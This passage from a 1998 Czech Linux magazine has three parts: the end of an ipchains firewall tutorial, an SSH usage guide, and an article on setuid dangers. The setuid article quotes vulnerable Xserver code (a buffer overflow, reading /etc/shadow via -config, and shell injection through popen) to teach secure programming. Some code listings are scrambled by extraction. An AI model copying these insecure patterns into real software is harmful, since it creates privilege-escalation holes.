ipchains -A forward -s 1.2.3.129 -j stanice
ipchains -A forward -d 1.2.3.129 -j stanice
ipchains -A forward -s 1.2.3.123 -j stanice
ipchains -A forward -d 1.2.3.123 -j stanice

# ... a zakážeme zbytek.
ipchains -A forward -j DENY

Takto tedy máme oddělenou sadu pravidel pro servery
a pro stanice, přičemž přidánı́ dalšı́ stanice nebo dalšı́ho
serveru je otázku přidánı́ dvou pravidel do řetězce forward,
povolenı́ dalšı́ TCP služby pro danou třı́du počı́tačů obnášı́
jedno dalšı́ pravidlo do řetězce servery nebo stanice.

Samozřejmě definovánı́ řetězců podle třı́d počı́tačů ne-
nı́ jedinou možnostı́ IP chains. Je možné mı́t napřı́klad od-
děleně vstupnı́ a výstupnı́ řetězec, nebo třeba řetězce pro
každý interface či protokol zvlášt’.

Výhody IP chains

Hlavnı́m přı́nosem IP chains je samozřejmě možnost de-
finovánı́ vlastnı́ch řetězců. Celý systém je ale vylepšen
i o mnoho dalšı́ch vlastnostı́:

• Podstatně širšı́ možnost definovánı́ pravidel (téhož
efektu lze dosáhnout s méně pravidly než u ipfwadm,
jak jsme viděli v předchozı́m přı́kladě).

• Účtovánı́ (accounting) integrováno do filtrovacı́ch
pravidel. Každé pravidlo v řetězci může mı́t svoje po-
čı́tadlo.

• 64-bitové hodnoty účtovánı́ i na 32-bitových systé-
mech. Při použitı́ ipfwadm může velmi brzo dojı́t k pře-
tečenı́.

• Je možné specifikovat třı́du rozhranı́ (napřı́klad ppp
značı́ všechna rozhranı́ – ppp0, ppp1 atd.).

• ICMP packety je možno filtrovat nejen na základě ty-
pu, ale i na základě podtypu (kódu).

• Složitějšı́ účtovánı́ nebo filtrovánı́ je možno provádět
též user-space démonem (pouze v kernelech 2.1).

• Je možné logovat a účtovat i chybné packety.

• Většina změn konfigurace firewallu je možná atomicky.

• Rozhranı́ je možno použı́t i pro jiné protokoly než jen
ICMP, UDP a TCP.

• IP chains umožňuje i negativnı́ pravidla (napřı́klad
všechny packety, které jdou z jiného zařı́zenı́ než
ppp0).

• Je možno filtrovat i fragmenty IP packetů.

• Lze specifikovat i interval portů (tedy napřı́klad jed-
nı́m pravidlem vybrat privilegované porty – 0–1023).

Odkazy: Linux Firewalling Chains (1), Linux IP-

CHAINS-HOWTO (2).
1 Linux IP Firewalling Chains
http://www.adelaide.net.au/~rustcorp/ipfwchains/

2 Linux IPCHAINS-HOWTO
http://www.adelaide.net.au/~rustcorp/ipfwchains/HOWTO.html

SSH — Secure shell
Jan Pazdziora, 7. března 1998

Secure shell sloužı́ k přihlašovánı́ na vzdálený počı́tač po
sı́ti a k přenosu dat. Od počátku je stavěn tak, aby umož-
nil bezpečnou komunikaci po nedůvěryhodné sı́ti pomocı́
šifrovánı́ a zabezpečil vzájemnou autentizaci strojů i uživa-
telů.

Možnosti jeho nasazenı́

Secure shell můžeme použı́t mı́sto programů telnet či
rlogin k interaktivnı́mu přihlášenı́ na vzdálený stroj. Při-
tom je snadné přenášet vytvořeným kryptovaným kanálem
i X protokol spuštěných programů pro X-Window System.
Je také možné spustit na vzdáleném počı́tači přı́kaz, kte-
rému předáme na standardnı́m vstupu data a z výstupu
převezmeme výsledek (obdoba rsh). Program scp, Secu-
re copy, je pak bezpečnou variantou rcp. Secure shell má
ale mnohem vı́ce možnostı́, jak zadat, co který uživatel smı́
provést, a dokáže napřı́klad i kryptovaně forwardovat porty
mezi stroji.

Na strojı́ch, na jejichž bezpečnosti nám opravdu zále-
žı́, je vhodné všechny možnosti vzdáleného přı́stupu kromě
ssh zakázat, donutı́me tak uživatele (včetně superuživate-
le) použı́vat výhradně bezpečné spojenı́.

Verze pro systémy UNIX jsou free včetně zdrojových tex-
tů pro nekomerčnı́ použitı́ (i nekomerčnı́ použitı́ v komerč-
nı́ch firmách). Domovská stránka ssh s distribucı́ je na ad-
rese (1), na sı́ti TEN-34 CZ je mirror na adrese (2) obsahujı́-
cı́ mimo jiné i rpm balı́ky od Yenyi Kasprzaka. Pro systémy
z produkce společnosti Microsoft existujı́ komerčnı́ verze,
vı́ce informacı́ naleznete na adrese (3)

Stabilnı́ distribuce v době psanı́ tohoto článku má čı́slo
verze 1.2.22.

Architektura klient–server

Abychom se mohli na vzdálený počı́tač pomocı́ ssh připo-
jit, musı́ na něm běžet sshd, Secure shell daemon. Ten-
to daemon přijı́má požadavky, testuje jejich oprávněnost
z hlediska identity stroje i uživatele, a v přı́padě úspěchu
vytvořı́ kryptované spojenı́ požadovaného typu. Na straně
klientské pak potřebujeme klienta, program ssh, kterému
parametry zadáme, kam a jaké spojenı́ chceme vytvořit.

Každý stroj, na kterém běžı́ sshd, má vygenerovanou
dvojici RSA klı́čů, které ho identifikujı́ (/etc/ssh host key
a /etc/ssh host key.pub). Při startu daemona (typicky
z rc skriptů při bootu systému) daemon vygeneruje ještě
klı́č serveru, který posléze měnı́ každou hodinu.

Klient, který žádá server o spojenı́, obdržı́ od serve-
ru veřejný klı́č stroje i serveru. Veřejné klı́če strojů, se
kterými jsme už v minulosti komunikovali, jsou ukládá-
ny do souboru ~/.ssh/known hosts, přı́padně správcem
do /etc/ssh known hosts, a při každém dalšı́m přihlá-
šenı́ se ověřuje, zda se identifikace vzdáleného stroje ne-
změnila. To by mohlo znamenat, že se někdo snažı́ spo-

jenı́ odposlouchávat a vydává se za námi zamýšlený stroj
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(man-in-the-middle attack). V našem méně nepřátelském
světě k odmı́tnutı́ spojenı́ z tohoto důvodu docházı́ typicky
po reinstalaci počı́tače – řešenı́m pak je po ověřenı́ situace
odstranit veřejný klı́č vzdáleného stroje z lokálnı́ databáze
known hosts.

Klient po zı́skánı́ klı́čů vygeneruje 256 bitový klı́č (session
key), který bude použit pro šifrovánı́ dalšı́ho spojenı́ syme-
trickým šifrovacı́m algoritmem. Tento klı́č zakryptuje ve-
řejnými klı́či serveru a stroje, na kterém běžı́ server, a po-
šle zpět. Server tedy musı́ nejen poslat správný veřejný klı́č
stroje pro ověřenı́ proti known hosts na klientské straně,
musı́ samozřejmě znát i svůj správný tajný klı́č, aby byl
schopen klı́č od klienta rozšifrovat.

Poté, co klient věřı́, že komunikuje s tı́m, s kým požado-
val, je na serveru, aby ověřil, že klient má právo se přihlásit,
přı́padně provést žádanou akci.

Ssh podporuje z důvodu zpětné kompatibility au-
tentizaci shodnou či podobnou s rsh, pomocı́ souborů
/etc/hosts.equiv a .rhosts, resp. .shosts. Naštěstı́ se
tento způsob dá v konfiguraci daemona zakázat a je to vı́ce
než doporučenı́hodné. Použitı́ ssh dává totiž uživateli jistý
pocit bezpečı́, který je ale při povoleném přihlašovánı́ jen
na základě .rhosts vı́ce než pochybný.

Nejčastěji použı́vanou autentizacı́ je autentizace proto-
kolem RSA (kryptografie s veřejným klı́čem). Při něm ser-
ver zná veřejný klı́č uživatele, ten je uveden v souboru
~/.ssh/authorized keys v domovském adresáři uživate-
le na vzdáleném stroji. Kdo se chce přihlásit, musı́ proká-
zat, že zná tajný klı́č k tomuto veřejnému. Server na po-
žadavek ssh klienta vrátı́ tzv. challenge, náhodné čı́slo za-
šifrované veřejným klı́čem. Klient se pokusı́ ho rozšifrovat
za použitı́ tajného klı́če, který může být ještě chráněn do-
datečným heslem, passphrase. Pokud výsledek od klienta
souhlası́, server přihlášenı́ povolı́ a provede požadovanou
akci – spustı́ interaktivnı́ shell, provede přı́kaz.

Jako poslednı́ šance je uživateli nabı́dnut prompt k za-
dánı́ hesla; pokud ani toto neuspěje, je spojenı́ zrušeno.

Instalujeme sshd a ssh

Při instalaci si můžeme zvolit bud’ kompilaci ze zdrojo-
vých textů (./configure && make && make install)
nebo nainstalovat předkompilovanou binárnı́ distribuci či
rpm. Obě formy instalace zajistı́ mj. i vygenerovánı́ dvo-
jice klı́čů stroje. Poté zkontrolujeme, jestli nám vyhovuje
standardnı́ nastavenı́ konfigurace ssh daemona uvedené
v /etc/sshd config, zvláště co se týče povolených forem
autentizace či způsobu přihlašovánı́. Pak již můžeme dae-
mon spustit, nejlépe z nějakého rc skriptu.

Od této chvı́le můžeme se strojem, na kterém běžı́ sshd,
již komunikovat bezpečným způsobem. I když totiž nemá-
me povolenou RSA autentizaci, můžeme se přihlásit zadá-
nı́m hesla.

Chceme-li využı́t RSA autentizaci, musı́me na kli-
entské straně, odkud se budeme přihlašovat, vygene-
rovat dvojici tajného a veřejného klı́če. K tomu po-
užijeme program ssh-keygen. Jsme vyzváni, abychom
zadali jméno souboru pro uloženı́ tajného klı́če, ve-
řejný klı́č je uložen vedle něho s přı́ponou .pub.
Při generovánı́ klı́če uživatele akceptujeme nabı́dnuté
~/.ssh/identity. Soubor ~/.ssh/identity.pub pak
zkopı́rujeme do ~/.ssh/authorized keys na straně ser-
veru a přı́padně rozšı́řı́me o požadované podmı́nky. A nynı́

již můžeme spustit
ssh jméno_serveru

Odpovědı́ by měl být prompt na vzdáleném stroji. Ověřit,
zda opravdu použı́váme RSA autentizaci, můžeme spuště-
nı́m ssh s volbou -v. Správný výpis bude přibližně takový-
to:

faethon: Server refused our rhosts authentication or host key.
faethon: No agent.
faethon: Trying RSA authentication with key ’adelton@faethon’
faethon: Received RSA challenge from server.
faethon: Sending response to host key RSA challenge.
faethon: Remote: RSA authentication accepted.
faethon: RSA authentication accepted by server.

Pokud se přihlašujeme na stroj, jehož veřejný klı́č ještě
neznáme, ssh se nás zeptá

Host key not found from the list of known hosts.
Are you sure you want to continue connecting (yes/no)?

Musı́me odpovědět celým yes a ssh pak přidá veřejný
klı́č do našeho lokálnı́ho seznamu known hosts.

Secure shell daemon můžeme spustit i na stroji, na kte-
rém nemáme superuživatelská práva. Musı́me ho ale volbou
na přı́kazové řádce nebo v lokálnı́m konfiguračnı́m soubo-
ru spustit na neprivilegovaném portu a na tento port pak
směrovat klienty.

Autorizované klı́če a různé identity

Při autentizaci protokolem RSA server testuje, zda
klient zná tajný klı́č k veřejnému klı́či ze souboru
~/.ssh/authorized keys. Na každém řádku je uveden je-
den veřejný klı́č, a s nı́m i podmı́nky a akce, pro které pla-
tı́. Můžeme napřı́klad klauzulı́ from omezit přihlašovánı́ jen
z určitých strojů či domén, můžeme zakázat forwardovánı́
portů či nastavit dobu nečinnosti, po které bude spojenı́
ukončeno. Pomocı́ command specifikujeme přı́kaz, který se
při spojenı́ s odpovı́dajı́cı́m tajným klı́čem provede. Pokud
údaj command nenı́ uveden, spustı́ se bud’ interaktivnı́ shell,
nebo přı́kaz vyžádaný klientem.

Běžný uživatel bude mı́t ve svých authorized keys
pravděpodobně převážně svoje klı́če pro interaktivnı́ při-
hlašovánı́, naproti tomu na superuživatelský účet můžeme
chtı́t mı́t různě omezené přı́stupy z různých strojů. Tak-
to by mohl vypadat řádek, který dovolı́ vlastnı́kovi tajného
klı́če provést backup části disku na vzdáleném stroji:

from="pinosol",command="tar czf -- /export/data" 1024 37 \
5867...spousta čı́slic veřejného klı́če

(vše uvedeno na jednom řádku). Všimněme si, že tento přı́-
kaz, staženı́ taru s obsahem adresáře, může provést kdoko-
li, kdo má odpovı́dajı́cı́ tajný klı́č, nikoli nutně superuživa-
tel. Při spuštěnı́ ssh na klientské straně volbou -i zadáme
jméno souboru se správným tajným klı́čem:

ssh -i ~/.ssh/backupuj root@bromhexin > \
backup.‘date +’%y%m%d’‘.tgz

Autorizovaný klı́č pro staženı́ či zápis jednoho pevně da-
ného souboru či zatarovánı́ obsahu adresáře je korektnı́m
způsobem, jak zajistit přenos dat mezi dvěma běžnými uži-
vateli, pokud nám nevyhovuje otevřenost HTTP protokolu.

Nesdělujeme totiž cizı́mu člověku ani heslo, ani tajný klı́č
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k neomezenému přihlašovánı́ na náš účet, zpřı́stupňujeme
mu pouze přesně vymezená data.

Pokud máme povolený neomezený přı́stup (napřı́klad
RSA autentizacı́ na svůj účet na jiném stroji), můžeme přı́-
kaz pro provedenı́ zadat samozřejmě i lokálně:

ssh bromhexin ’tar cf -- /export/data’ > out.tar

V tomto přı́padě se použije standardnı́ identity.

Forwardovánı́ protokolu X11 a portů

Pokud se přihlašujeme z klienta s X-Window (je nastave-
na proměnná prostředı́ DISPLAY) a server tuto vlastnost
umožňuje, bude spojenı́ od X klientů spuštěných na serve-
rové straně ssh směrováno do kryptovaného kanálu a te-
prve na klientské straně ssh předáno X serveru. Proměnná
DISPLAY bude na vzdálené straně ssh nastavena na vzdá-
lený stroj, s čı́slem displeje vyššı́m, než na jaké jsme zvyklı́
(> 0). Tento displej je právě vzdálený konec ssh spojenı́.

Doporučeným způsobem, jak spustit na vzdáleném stroji
aplikaci pro X-Window, je použı́t na přı́kazovém řádku vol-
bu -n:

ssh -n pinosol xterm &

která zabránı́ čtenı́ standardnı́ho vstupu a dovolı́ spuštěnı́
ssh na pozadı́. Pokud potřebujeme při přihlašovánı́ zadat
heslo nebo passphrase, využijeme volbu -f, která přesune
ssh na pozadı́, ale až po úspěšně proběhnuté autentizaci
a po vytvořenı́ spojenı́. Tak budeme mı́t prompt shellu na
lokálnı́m stroji opět k dispozici:

ssh -f pinosol xterm

Forwardovánı́ protokolu X11 funguje v poslednı́ch ver-
zı́ch ssh (1.2.20 a výše) bez většı́ch problémů. Ve staršı́ch
verzı́ch docházelo k zatuhnutı́, pokud klient zažádal o pře-
nos velkého množstvı́ dat, tato chyba ale byla opravena.
Jediné, co v oblasti X-Window nefunguje, je forwardovánı́
rozšı́řenı́ OpenGL/DGL společnosti SGI.

Kryptovaný ssh kanál můžeme využı́t i pro jiná data,
následujı́cı́ přı́klad ukazuje, jak kryptovaně namountovat
Samba disk ze stroje bromhexin na stroj pinosol:

ssh -L 1234:bromhexin:139 bromhexin
smbmount //pinosol/adelton mnt -p 1234 -c pinosol

Prvnı́ přı́kaz kryptovaně propojı́ Samba port 139 na vzdá-
leném stroji s lokálnı́m portem 1234. Druhý přı́kaz pak na-
mountuje službu dostupnou již na lokálnı́m portu.

Secure copy, ssh agent

Přı́kaz scp je prodlouženı́m běžného cp na přenosy soubo-
rů mezi stroji: pokud před jméno souboru uvedeme jméno
stroje a přı́padně i jméno uživatele, provede se vzdálený ssh
přenos. scp se v přı́padě potřeby zeptá na heslo a umožnı́
i kopı́rovánı́ mezi dvěma vzdálenými počı́tači.

Abychom se vyhnuli opakovaného zadávánı́ passphrase
napřı́klad ke svému tajnému klı́či, můžeme pomocı́ progra-
mů ssh-agent a ssh-add uložit tajné klı́če do paměti, a po-
sléze je využı́t při přihlašovánı́ pomocı́ ssh. Agenta spustı́-
me napřı́klad při přihlašovánı́ do X-Window tak, aby všech-
ny dalšı́ procesy byly jeho potomky. Ty pak zdědı́ spojenı́

k němu a následné přı́kazy mohou využı́t jeho tajných klı́čů.
Protože při startu X-Window systémů většinou ještě nemá-
me terminál, na kterém by se ssh-add mohl zeptat, spouštı́
se v takové situaci jednoduchá aplikace ssh-askpass, od
nı́ž pak ssh-add zadanou passphrase převezme.

Distribuce veřejných klı́čů

Secure shell je klient a server určitého protokolu, spolu
s obslužnými programy typu ssh-keygen. Protokol ale ne-
definuje, jakým způsobem si organizace či jednotlivci za-
jistı́ distribuci potřebných veřejných klı́čů či backupová-
nı́ klı́čů tajných. Aby ale usnadnili alespoň evidenci ve-
řejných klı́čů, zahrnuli autoři v distribuci perlovský skript
make-ssh-known-hosts, který podle záznamů v nameser-
veru projde všechny stroje v doméně a pokusı́ se od nich
zı́skat jejich veřejný ssh klı́č. Výsledek je ve formě soubo-
ru ssh known hosts a po jeho kontrole ho můžeme rovnou
použı́t.

Na co dát pozor

Při přihlašovánı́ pomocı́ ssh je potřeba mı́t na paměti, že
řetěz je tak slabý jako jeho nejslabšı́ článek. Ssh odstraňu-
je přenos hesel v otevřené podobě, musı́me ho ale použı́vat
důsledně: pokud se nejprve přihlásı́me telnetem a tepr-
ve dále pomocı́ ssh, jde po části sı́tě otevřeně nejen heslo
k prvnı́mu telnetu, ale i všechna přı́padná dalšı́.

Důležité soubory

/usr/local/bin/ssh, ssh-keygen, ssh-agent, ssh-add, Klient,
generovánı́ klı́čů, ssh agent

/etc/ssh config, ˜/.ssh/config, ˜/.ssh/identity,
˜/.ssh/identity.pub, ˜/.ssh/authorized keys Standardnı́
konfiguračnı́ soubor klienta, jeho lokálnı́ konfiguračnı́
soubor, standardnı́ identita uživatele (tajný a veřejný
klı́č), seznam autorizovaných klı́čů

/usr/local/sbin/sshd, /etc/sshd config, /etc/ssh host key,
/etc/ssh host key.pub Daemon, jeho konfiguračnı́
soubor, tajný a veřejný klı́č stroje

Konfiguračnı́ soubory mohou být na vašı́ lokálnı́ instalaci
uloženy mı́sto adresáře /etc v /etc/ssh.

Závěr

Ukázali jsme, jak začı́t použı́vat secure shell pro bezpečněj-
šı́ komunikaci po počı́tačové sı́ti. Nastı́nili jsme jeho filoso-
fii a uvedli několik přı́kladů. Uživatelé najdou podrobnějšı́
informace v manuálové stránce ssh(1), správci by si mě-
li přečı́st sshd(8) a samozřejmě i relevantnı́ dokumentaci
odtamtud odkazovanou.

Často kladené dotazy naleznete na adrese (4) a o bu-
doucnosti ssh i netriviálnı́ch aplikacı́ch je newsová skupi-
na comp.security.ssh.

Za přı́pomı́nky a doplněnı́ děkuji Petru Macháčkovi a Pe-
tru Kolářovi.
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1 Domovská stránka Secure shellu
http://www.cs.hut.fi/ssh

2 Zrcadlo ssh na sı́ti TEN-34 CZ
http://www.fi.muni.cz/ftp/pub/ssh

3 Secure shell pro Windows
http://www.datafellows.com/

4 Secure shell FAQ
http://www.uni-karlsruhe.de/~ig25/ssh-faq/

S-bit – životu nebezpečno
Pavel Kaňkovský, 3. března 1998

Mnoho systémových programů v UNIXovém operačnı́m
systému – Linux nevyjı́maje – potřebuje pro svůj běh zvlášt-
nı́ privilegia. Přı́kladem budiž program passwd, který mu-
sı́ být schopen zapisovat do souboru /etc/passwd resp.
/etc/shadow, aniž by k tomu byl oprávněn sám uživatel
(z pochopitelných důvodů). Nejčastěji použı́vaným mecha-
nismem, který toto umožňuje, je tzv. propůjčenı́ identifika-
ce.

U programu, jehož spustitelný soubor má nastavený
aspoň jeden z s-bitů, napřı́klad takto:

-r-sr-xr-x 1 root bin 15796 /usr/bin/passwd

dojde po jeho spuštěnı́ systémovým volánı́m execve() k to-
mu, že efektivnı́ vlastnı́k, efektivnı́ skupina, přı́padně oboje
– podle toho, zda je v přı́stupových právech nastaven setuid
bit (04000), setgid bit (02000), nebo oba dva – jsou nasta-
veny na hodnoty určené uživatelem resp. skupinou vlast-
nı́cı́ soubor. (Množina doplňkových skupin (supplemental
groups) je vždy ponechána beze změny.) Program pak pra-
cuje se stejnými oprávněnı́mi, jako kdyby byl spuštěn svým
vlastnı́kem resp. uživatelem v dané skupině.

Proč je to nebezpečné?

Výše popsaný mechanismus nenı́ prost rizik. Musı́ být za-
jištěno, aby zvláštnı́ privilegia přidělená programu nemoh-
la být zneužita. Část odpovědnosti ležı́ na samotném jádře
systému, které musı́ mj. zabránit jeho trasovánı́ nebo čtenı́
jeho pamět’ového prostoru (kde se mohou nacházet důvěr-
ná data) ze strany skutečného vlastnı́ka, ovšem převážná
část spočı́vá na bedrech samotného programu (a také jı́m
použı́vaných knihovnách).

Privilegovaný proces musı́ pečlivě kontrolovat prostředı́,
ve kterém je spuštěn, a vstupy, které jsou mu uživatelem
předkládány. Naneštěstı́ mnoho programů (či spı́še jejich
autorů) toto podceňuje a výsledkem jsou závažné bezpeč-
nostnı́ problémy, které jsou ještě umocněny tı́m, že velká
část takových programů pracuje rovnou s nejvyššı́mi mož-
nými privilegii – s právy superuživatele.

K nejčastějšı́m chybám, které majı́ za následek bezpeč-
nostnı́ problémy (a které budou detailněji diskutovány nı́-
že) patřı́:

• přetečenı́ mezı́ pole

• neopatrná manipulace se soubory

• neopatrné spouštěnı́ dalšı́ch programů
Odstrašujı́cı́ přı́klad – Xserver

Jak si asi mnozı́, kteřı́ majı́ na svém Linuxu nainstalova-
ný balı́k XFree86, všimli, Xserver běžı́ s právy superuživa-
tele. Je tomu tak, aby mu bylo dovoleno přistupovat přı́-
mo ke grafickému hardware, k jehož ovládánı́ neposkytu-
je standardnı́ linuxové jádro prakticky žádnou podporu.
Ovšem Xserver je velmi komplikovaný program a vysky-
tujı́ se v něm (nynı́ bude řeč o aktuálnı́ verzi 3.3.1 založené
na X11R6.3) různé problémy, dokonce ze všech třı́ výše vy-
jmenovaných kategoriı́. Jedná se o následek toho, že kód
Xserveru (a do jisté mı́ry to platı́ o celém X11) byl větši-
nou navrhován a implementován, aniž byl kladen dosta-
tečný důraz na jeho bezpečnost. Svou roli zde nepochybně
hraje velký rozsah a složitost kódu, stejně jako jeho značná
různorodost.

Přetečenı́ mezı́ pole

Toto je snad nejfrekventovanějšı́ chyba vyskytujı́cı́ se v céč-
kových programech vůbec. Poněkud překvapivě se však
chyba vyskytuje mnohem častěji nepřı́mo – při použitı́
některých funkcı́ standardnı́ knihovny. Zvláště se jedná
o funkce sprintf(), strcpy() a strcat(), které neumož-
ňujı́ explicitně stanovit velikost pole, do kterého je ukládán
výsledek, a bezstarostně zapisujı́ za jeho konec. (Což ve-
de k otázce, zda je celková koncepce standardnı́ knihovny
vhodná.) Podrobněji k této problematice v článku >Pře-
tečenı́ bufferu.

Pomocı́ vhodně sestrojených vstupnı́ch dat pak může zlý
uživatel přepsat návratovou adresu na zásobnı́ku nebo ji-
né důležité údaje a donutit program k vykonánı́ prakticky
libovolných akcı́ – např. ke spuštěnı́ privilegovaného shellu.
Detailnı́ popis přinášı́ napřı́klad (1).

Přı́klad (xc/programs/Xserver/os/access.c) je na vý-
pisu >Nesprávné meze polı́.

void
ResetHosts (display)

char *display;
{

register HOST *host;
char lhostname[120], ohostname[120];
char *hostname = ohostname;
char fname[100];

...
strcpy (fname, "/etc/X");
strcat (fname, display);
strcat (fname, ".hosts");
if (fd = fopen (fname, "r"))

...
}

Výpis 3: Nesprávné meze polı́

Uživatel může při spuštěnı́ Xserveru specifikovat libo-
volný (i nesmyslný a hlavně libovolně dlouhý) název dis-
playe pomocı́ parametru uvozeného dvojtečkou. Tato hod-
nota je předána do funkce ResetHosts(), která ji použı́vá
pro konstrukci jména souboru. Avšak přı́liš dlouhá hodnota
způsobı́ přetečenı́ mezı́ pole fname.
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Neopatrná manipulace se soubory

Většina programů pracuje nějakým způsobem se souboro-
vým systémem. Pokud program neprovádı́ dostatečné kon-
troly jmen souborů nebo jiných uživatelem poskytnutých
dat, z nichž jsou jména souborů konstruována, lze snad-
no zı́skat neoprávněný přı́stup k souborům, systémovým
zvláště.

Přı́klad (xc/programs/Xserver/os/utils.c) je na vý-
pisu >Přı́klad nesprávného zacházenı́ se souborem.

static void
InsertFileIntoCommandLine(resargc, resargv, prefix_argc, prefix_a

suffix_argc, suffix_argv)

int *resargc;
...
{

struct stat st;
FILE *f;
char *p;
char *q;
int insert_argc;
char *buf;
int len;
int i;

f = fopen(filename, "r");
...
} /* end InsertFileIntoCommandLine */

void
ExpandCommandLine(pargc, pargv)

int *pargc;
char ***pargv;

{
int i;
for (i = 1; i < *pargc; i++)
{

if ( (0 == strcmp((*pargv)[i], "-config")) && (i < (*parg
{

InsertFileIntoCommandLine(pargc, pargv,
i, *pargv,

(*pargv)[i+1], /* filename */
*pargc -- i - 2, *pargv + i +

i--;
}

}
} /* end ExpandCommandLine */

Výpis 4: Přı́klad nesprávného

Funkce ExpandCommandLine() interpretuje parametr
-config tak, že načte obsah specifikovaného souboru a při-
dá ho k parametrům zadaným na přı́kazové řádce. Nicmé-
ně vůbec nekontroluje, zda je daný soubor uživateli, který
Xserver spustil, přı́stupný pro čtenı́. Napřı́klad, pokud zlý
uživatel zadá soubor /etc/shadow, dostane se mu chybo-
vého hlášenı́ typu:

Unrecognized option: root:BFLMpsvzABCD:12345:::::

a může začı́t luštit superuživatelovo heslo.

Zvláštnı́ kapitolu představujı́ dočasné soubory vytvářené
rgv, filename,\

c -- 1)) )

2);

zacházenı́ se souborem

v oblastech přı́stupných uživateli – zvláště v adresáři /tmp,
ale i v domovském adresáři uživatele, v aktuálnı́m adresáři
apod. Zlý uživatel může vytvořenı́m (sym)linků nebo pře-
jmenovávánı́m souborů lehce přesvědčit naivně implemen-
tovaný program, aby pracoval s úplně jiným souborem, než
zamýšlel. Bohužel tomu opět napomáhá standardnı́ knihov-
na – konkrétně funkce mktemp() a tmpnam(). V přı́padě
Xserveru lze problém tohoto typu demonstrovat na prá-
ci s adresářem /tmp/.X11-unix, i když konkrétnı́ povaha
těchto rizik poněkud vybočuje ze zaměřenı́ tohoto článku.

Neopatrné spouštěnı́ dalšı́ch programů

Přı́ležitostně potřebuje jeden program využı́t služeb jiného
programu. Pokud prvnı́ program běžı́ se zvláštnı́mi privi-
legii, pak jsou často tato privilegia přenášena i na progra-
my z něj spuštěné. To pak znamená, že se na jedné straně
nabı́zı́ možnost využı́t (či spı́še zneužı́t) nedostatků jiné-
ho programu, na druhé straně pak možnost přı́mo donu-
tit privilegovaný proces k spuštěnı́ libovolného programu
dodaného zlým uživatelem (sem lze zařadit použitı́ dyna-
micky linkované knihovny podle přánı́ uživatele). Xserver

vykazuje vzácnou kombinaci obou problémů, jak uvidı́me
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v přı́kladu.
Přı́klad (xc/programs/Xserver/xkb/ddxLoad.c) je na

výpisu >Neopatrné spouštěnı́ dalšı́ch programů.

Bool
XkbDDXCompileKeymapByNames(XkbDescPtr xkb,

XkbComponentNamesPtr names,
unsigned want,
unsigned need,
char * nameRtrn,
int nameRtrnLen)

{
...

if (XkbBaseDirectory!=NULL) {
...

sprintf(buf,
"%s/xkbcomp -w %d -R%s -xkm -- -em1 %s -emp %s -eml %s \"%s%s

XkbBaseDirectory,
((xkbDebugFlags<2)?1:((xkbDebugFlags>10)?10:xkbDebu
XkbBaseDirectory,
PRE_ERROR_MSG,ERROR_PREFIX,POST_ERROR_MSG1,
xkm_output_dir,keymap);

...
}
else {

...
}

...
out= popen(buf,"w");

...
}

Výpis 5: Neopatrné spouš

Proměnná XkbBaseDirectory obsahuje bud’ implicitnı́
hodnotu (/usr/lib/X11/xkb), nebo hodnotu specifikova-
nou pomocı́ parametru -xkbdir. (Z tohoto důvodu mi nenı́
zcela jasný význam testu na nulovou hodnotu, ale to po-
nechme stranou.) Uživatel má nynı́ dvě možnosti jak tento
parametr zneužı́t: jednak může vytvořit libovolný program
pod jménem xkbcomp a předat jméno adresáře, ve kterém
se nacházı́, nebo může využı́t faktu, že funkce popen() způ-
sobı́ spuštěnı́ shellu, a zadat hodnotu, která obsahuje zna-
ky majı́cı́ pro shell zvláštnı́ význam (např. mezery, obrácené
apostrofy aj.).

Východiska z nouze

Rozsáhlé a těžko prověřitelné programy (jako zmı́něný
Xserver) neměly být nikdy spouštěny se zvláštnı́mi privile-
gii. Principiálně vzato by těžko prověřitelné programy ne-
měly vůbec vznikat. Často použı́vané bezpečnostnı́ obálky
(wrappers) a podobná opatřenı́ jsou pouze nápravou ná-
sledků, nikoli přı́čin, které spočı́vajı́ v špatné konstrukci
samotných programů, i když za určitých okolnostı́ mohou
mı́t své výhody. Návod ke správné konstrukci bezpečných
programů lze hledat ve dvou „základnı́ch bezpečnostnı́ch
pravidlech“, která znı́:

• Nikdy nikomu nevěř.

• Co nenı́ dovoleno, je zakázáno.

Prvnı́ pravidlo řı́ká, že v programu nesmı́ být chyby, ale

navržen musı́ být s ohledem na to, že tam chyby budou. To
.xkm\"",

gFlags)),

těnı́ dalšı́ch programů

napřı́klad znamená, že ty části programů, které zvláštnı́ pri-
vilegia vyžadujı́, je vhodné separovat do malých samostat-
ných programů s přesně definovaným rozhranı́m, jejichž

správnou funkci bude možno ověřit – ideálně formálnı́m
důkazem.

Druhé pravidlo pak doporučuje, aby každý program měl
přidělena pouze ta privilegia, která ke své práci potřebuje
a pokud možno žádná jiná. To bohužel často narážı́ na ome-
zenı́ operačnı́ho systému – zvláště v UNIXovém světě (Li-
nux opět nevyjı́maje), kde vládne silná dichotomie: vše (su-
peruživatel) nebo nic (ostatnı́ uživatelé). Nenı́-li možno do-
statečně jemně rozlišovat privilegia, docházı́ k tomu, že jsou
přidělována širšı́ oprávněnı́, než je zapotřebı́, a otevı́rá se
prostor pro jejich zneužitı́. Jediným skutečným řešenı́m to-
hoto problému je upravit operačnı́ systém tak, aby pro-
gramy nemusely mı́t většı́ oprávněnı́ než je nutno. Kom-
plexnějšı́ projekty jako LinuxPrivs (2) (implementace pri-
vilegiı́ podle POSIX.1e) jsou vykročenı́ správným směrem,
ale existujı́ i částečná řešenı́, jako napřı́klad patch (3), kte-
rý mj. eliminuje dosti nesmyslnou (v dnešnı́ době) potřebu
superuživatelských práv pro některé sı́t’ové služby.

Poněkud paradoxnı́ je, že popisovaná opatřenı́ (pomine-
me-li obecné doporučenı́, že v programech nemajı́ být chy-
by) nejsou přı́liš vhodná pro náš Xserver. Ten totiž ve sku-
tečnosti žádná speciálnı́ privilegia nepotřebuje, pouze mu-
sı́ být schopen ovládat grafický hardware. Stačı́, aby pro to
byla v jádře dostatečná podpora – jako jı́ poskytuje napřı́-
klad GGI (4).
17
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Závěr

Tento článek popisuje pouze malou část z rozsáhlého reper-
toáru možných rizik: zmiňované problémy (nebo problémy
jim podobné) mohou vznikat (a bohužel také vznikajı́) všu-
de, kde docházı́ k interakci mezi procesy pracujı́cı́mi s růz-
nými oprávněnı́mi, at’ už jsou to diskutované programy vyu-
žı́vajı́cı́ mechanismus propůjčenı́ identifikace, programy ko-
munikujı́cı́ po sı́ti (na serverové i na klientské straně), nebo
dokonce uživatelské aplikace, jsou-li jim předloženy vstu-
py pocházejı́cı́ z potenciálně nedůvěryhodného zdroje. Pro-
to nelze než doporučit, aby tvůrce libovolného programu
zvážil při jeho návrhu a implementaci možná bezpečnostnı́
rizika a snažil se je úplně eliminovat, nebo alespoň maxi-
